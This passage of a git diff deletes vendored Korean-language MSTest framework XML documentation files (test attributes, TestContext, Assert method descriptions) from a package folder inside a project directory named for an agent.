a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 8099563a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 테스트 배포별 배포 항목(파일 또는 디렉터리)을 지정하는 데 사용됩니다. - 테스트 클래스 또는 테스트 메서드에서 지정할 수 있습니다. - 둘 이상의 항목을 지정하기 위한 여러 특성 인스턴스를 가질 수 있습니다. - 항목 경로는 절대 또는 상대 경로일 수 있으며, 상대 경로인 경우 RunConfig.RelativePathRoot가 기준입니다. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 배포할 파일 또는 디렉터리. 경로는 빌드 출력 디렉터리에 대해 상대적입니다. 배포된 테스트 어셈블리와 동일한 디렉터리에 항목이 복사됩니다. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 배포할 파일 또는 디렉터리에 대한 상대 또는 절대 경로. 경로는 빌드 출력 디렉터리에 대해 상대적입니다. 배포된 테스트 어셈블리와 동일한 디렉터리에 항목이 복사됩니다. - 항목을 복사할 디렉터리의 경로. 배포 디렉터리에 대한 절대 경로 또는 상대 경로일 수 있습니다.에 의해 식별되는 모든 파일 및 디렉터리는 이 디렉터리에 복사됩니다. - - - - 복사할 소스 파일 또는 폴더의 경로를 가져옵니다. - - - - - 항목을 복사할 디렉터리의 경로를 가져옵니다. - - - - - TestContext 클래스. 이 클래스는 완전히 추상 클래스여야 하며 멤버를 포함할 - 수 없습니다. 어댑터는 멤버를 구현합니다. 프레임워크의 사용자는 - 잘 정의된 인터페이스를 통해서만 여기에 액세스할 수 있습니다. - - - - - 테스트에 대한 테스트 속성을 가져옵니다. - - - - - 현재 실행 중인 테스트 메서드를 포함하는 클래스의 정규화된 이름을 가져옵니다 - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 현재 실행 중인 테스트 메서드의 이름을 가져옵니다. - - - - - 현재 테스트 결과를 가져옵니다. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 22e769ac..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/ko/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 실행을 위한 TestMethod입니다. - - - - - 테스트 메서드의 이름을 가져옵니다. - - - - - 테스트 클래스의 이름을 가져옵니다. - - - - - 테스트 메서드의 반환 형식을 가져옵니다. - - - - - 테스트 메서드의 매개 변수를 가져옵니다. - - - - - 테스트 메서드에 대한 methodInfo를 가져옵니다. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 테스트 메서드를 호출합니다. - - - 테스트 메서드에 전달할 인수(예: 데이터 기반의 경우) - - - 테스트 메서드 호출의 결과. - - - This call handles asynchronous test methods as well. - - - - - 테스트 메서드의 모든 특성을 가져옵니다. - - - 부모 클래스에 정의된 특성이 올바른지 여부입니다. - - - 모든 특성. - - - - - 특정 형식의 특성을 가져옵니다. - - System.Attribute type. - - 부모 클래스에 정의된 특성이 올바른지 여부입니다. - - - 지정한 형식의 특성입니다. - - - - - 도우미입니다. - - - - - 검사 매개 변수가 Null이 아닙니다. - - - 매개 변수. - - - 매개 변수 이름. - - - 메시지. - - Throws argument null exception when parameter is null. - - - - 검사 매개 변수가 Null이 아니거나 비어 있습니다. - - - 매개 변수. - - - 매개 변수 이름. - - - 메시지. - - Throws ArgumentException when parameter is null. - - - - 데이터 기반 테스트에서 데이터 행에 액세스하는 방법에 대한 열거형입니다. - - - - - 행이 순차적인 순서로 반환됩니다. - - - - - 행이 임의의 순서로 반환됩니다. - - - - - 테스트 메서드에 대한 인라인 데이터를 정의하는 특성입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 데이터 개체. - - - - 인수 배열을 사용하는 클래스의 새 인스턴스를 초기화합니다. - - 데이터 개체. - 추가 데이터. - - - - 테스트 메서드 호출을 위한 데이터를 가져옵니다. - - - - - 사용자 지정을 위한 테스트 결과에서 표시 이름을 가져오거나 설정합니다. - - - - - 어설션 불확실 예외입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - InternalTestFailureException 클래스. 테스트 사례에 대한 내부 실패를 나타내는 데 사용됩니다. - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 예외 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 예외 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 지정된 형식의 예외를 예상하도록 지정하는 특성 - - - - - 예상 형식이 있는 클래스의 새 인스턴스를 초기화합니다. - - 예상되는 예외의 형식 - - - - 테스트에서 예외를 throw하지 않을 때 포함할 메시지 및 예상 형식이 있는 클래스의 - 새 인스턴스를 초기화합니다. - - 예상되는 예외의 형식 - - 예외를 throw하지 않아 테스트가 실패할 경우 테스트 결과에 포함할 메시지 - - - - - 예상되는 예외의 형식을 나타내는 값을 가져옵니다. - - - - - 예상 예외의 형식에서 파생된 형식이 예상대로 자격을 얻도록 허용할지 여부를 나타내는 값을 가져오거나 - 설정합니다. - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 단위 테스트에 의해 throw되는 예외의 형식이 예상되는지를 확인합니다. - - 단위 테스트에서 throw한 예외 - - - - 단위 테스트에서 예외를 예상하도록 지정하는 특성에 대한 기본 클래스 - - - - - 기본 예외 없음 메시지가 있는 클래스의 새 인스턴스를 초기화합니다. - - - - - 예외 없음 메시지가 있는 클래스의 새 인스턴스를 초기화합니다. - - - 예외를 throw하지 않아서 테스트가 실패할 경우 테스트 결과에 포함할 - 메시지 - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 예외를 throw하지 않아 테스트에 실패하는 경우 테스트 결과에 포함할 메시지를 가져옵니다. - - - - - 기본 예외 없음 메시지를 가져옵니다. - - ExpectedException 특성 형식 이름 - 기본 예외 없음 메시지 - - - - 예외가 예상되는지 여부를 확인합니다. 메서드가 반환되면 예외가 - 예상되는 것으로 이해됩니다. 메서드가 예외를 throw하면 예외가 - 예상되지 않는 것으로 이해되고, throw된 예외의 메시지가 - 테스트 결과에 포함됩니다. 클래스는 편의를 위해 사용될 수 - 있습니다. 이(가) 사용되는 경우 어설션에 실패하며, - 테스트 결과가 [결과 불충분]으로 설정됩니다. - - 단위 테스트에서 throw한 예외 - - - - AssertFailedException 또는 AssertInconclusiveException인 경우 예외를 다시 throw합니다. - - 어설션 예외인 경우 예외를 다시 throw - - - - 이 클래스는 제네릭 형식을 사용하는 형식에 대한 사용자의 유닛 테스트를 지원하도록 설계되었습니다. - GenericParameterHelper는 몇 가지 공통된 제네릭 형식 제약 조건을 충족합니다. - 예: - 1. public 기본 생성자 - 2. 공통 인터페이스 구현: IComparable, IEnumerable - - - - - C# 제네릭의 '새로 입력할 수 있는' 제약 조건을 충족하는 클래스의 - 새 인스턴스를 초기화합니다. - - - This constructor initializes the Data property to a random value. - - - - - 데이터 속성을 사용자가 제공한 값으로 초기화하는 클래스의 - 새 인스턴스를 초기화합니다. - - 임의의 정수 값 - - - - 데이터를 가져오거나 설정합니다. - - - - - 두 GenericParameterHelper 개체의 값을 비교합니다. - - 비교할 개체 - 개체의 값이 '이' GenericParameterHelper 개체와 동일한 경우에는 true이고, - 동일하지 않은 경우에는 false입니다. - - - - 이 개체의 해시 코드를 반환합니다. - - 해시 코드입니다. - - - - 두 개체의 데이터를 비교합니다. - - 비교할 개체입니다. - - 이 인스턴스 및 값의 상대 값을 나타내는 부호 있는 숫자입니다. - - - Thrown when the object passed in is not an instance of . - - - - - 길이가 데이터 속성에서 파생된 IEnumerator 개체를 - 반환합니다. - - IEnumerator 개체 - - - - 현재 개체와 동일한 GenericParameterHelper 개체를 - 반환합니다. - - 복제된 개체입니다. - - - - 사용자가 진단을 위해 단위 테스트에서 추적을 로그하거나 쓸 수 있습니다. - - - - - LogMessage용 처리기입니다. - - 로깅할 메시지. - - - - 수신할 이벤트입니다. 단위 테스트 기록기에서 메시지를 기록할 때 발생합니다. - 주로 어댑터에서 사용합니다. - - - - - 메시지를 로그하기 위해 테스트 작성자가 호출하는 API입니다. - - 자리 표시자가 있는 문자열 형식. - 자리 표시자에 대한 매개 변수. - - - - TestCategory 특성 - 단위 테스트의 범주 지정에 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화하고 범주를 테스트에 적용합니다. - - - 테스트 범주. - - - - - 테스트에 적용된 테스트 범주를 가져옵니다. - - - - - "Category" 특성을 위한 기본 클래스 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 클래스의 새 인스턴스를 초기화합니다. - 범주를 테스트에 적용합니다. TestCategories에 의해 반환된 문자열은 - 테스트 필터링을 위한 /category 명령과 함께 사용됩니다. - - - - - 테스트에 적용된 테스트 범주를 가져옵니다. - - - - - AssertFailedException 클래스 - 테스트 사례에 대한 실패를 나타내는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 단위 테스트 내에서 다양한 조건을 테스트하기 위한 도우미 - 클래스의 컬렉션입니다. 테스트 중인 조건이 충족되지 않으면 예외가 - throw됩니다. - - - - - Assert 기능의 singleton 인스턴스를 가져옵니다. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - Thrown if is false. - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 거짓인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is false. - - - - - 지정된 조건이 true인지를 테스트하고 조건이 false이면 예외를 - throw합니다. - - - 테스트가 참일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 거짓인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is false. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - Thrown if is true. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 참인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is true. - - - - - 지정된 조건이 false인지를 테스트하고 조건이 true이면 예외를 - throw합니다. - - - 테스트가 거짓일 것으로 예상하는 조건. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 참인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is true. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - Thrown if is not null. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null이 아닌 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not null. - - - - - 지정된 개체가 Null인지를 테스트하고, Null이 아니면 예외를 - throw합니다. - - - 테스트가 null일 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null이 아닌 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - Thrown if is null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null인 경우. 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is null. - - - - - 지정된 개체가 Null이 아닌지를 테스트하고, Null이면 예외를 - throw합니다. - - - 테스트가 null이 아닐 것으로 예상하는 개체. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) null인 경우. 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is null. - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if does not refer to the same object - as . - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - Thrown if does not refer to the same object - as . - - - - - 지정된 두 개체가 동일한 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하지 않으면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 테스트 결과에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if does not refer to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if refers to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if refers to the same object - as . - - - - - 지정된 개체가 서로 다른 개체를 참조하는지를 테스트하고, 두 입력이 - 동일한 개체를 참조하면 예외를 throw합니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 동일한 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if refers to the same object - as . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if is not equal to . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 값이 같은지를 테스트하고, 두 값이 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 예상하는 값입니다. - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - Thrown if is equal to . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 값이 다른지를 테스트하고, 두 값이 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - The type of values to compare. - - - 비교할 첫 번째 값. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 값. 테스트 중인 코드에 의해 생성된 값입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - Thrown if is not equal to - . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 개체가 같은지를 테스트하고, 두 개체가 같지 않으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 예상하는 개체입니다. - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - Thrown if is equal to . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 개체가 다른지를 테스트하고, 두 개체가 같으면 - 예외를 throw합니다. 논리값이 같더라도 숫자 형식이 다르면 - 같지 않은 것으로 취급됩니다. 42L은 42와 같지 않습니다. - - - 비교할 첫 번째 개체. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 값: . - - - 비교할 두 번째 개체. 테스트 중인 코드에 의해 생성된 개체입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - Thrown if is not equal to - . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 부동이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 예상하는 부동입니다. - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - Thrown if is equal to . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 부동이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 부동. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 부동: . - - - 비교할 두 번째 부동. 테스트 중인 코드에 의해 생성된 부동입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - Thrown if is not equal to - . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is not equal to . - - - - - 지정된 double이 같은지를 테스트하고, 같지 않으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 예상하는 double입니다. - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음보다 큰 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 과(와)의 차이가 다음보다 큰 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - Thrown if is equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: 또는 그 차이가 다음 미만인 경우: - . 메시지가 테스트 결과에 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 double이 다른지를 테스트하고, 같으면 예외를 - throw합니다. - - - 비교할 첫 번째 double. 테스트가 다음과 일치하지 않을 것으로 예상하는 - double: . - - - 비교할 두 번째 double. 테스트 중인 코드에 의해 생성된 double입니다. - - - 필요한 정확성. 다음과 같은 경우에만 예외가 throw됩니다. - 과(와) - 의 차이가 다음을 넘지 않는 경우: . - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 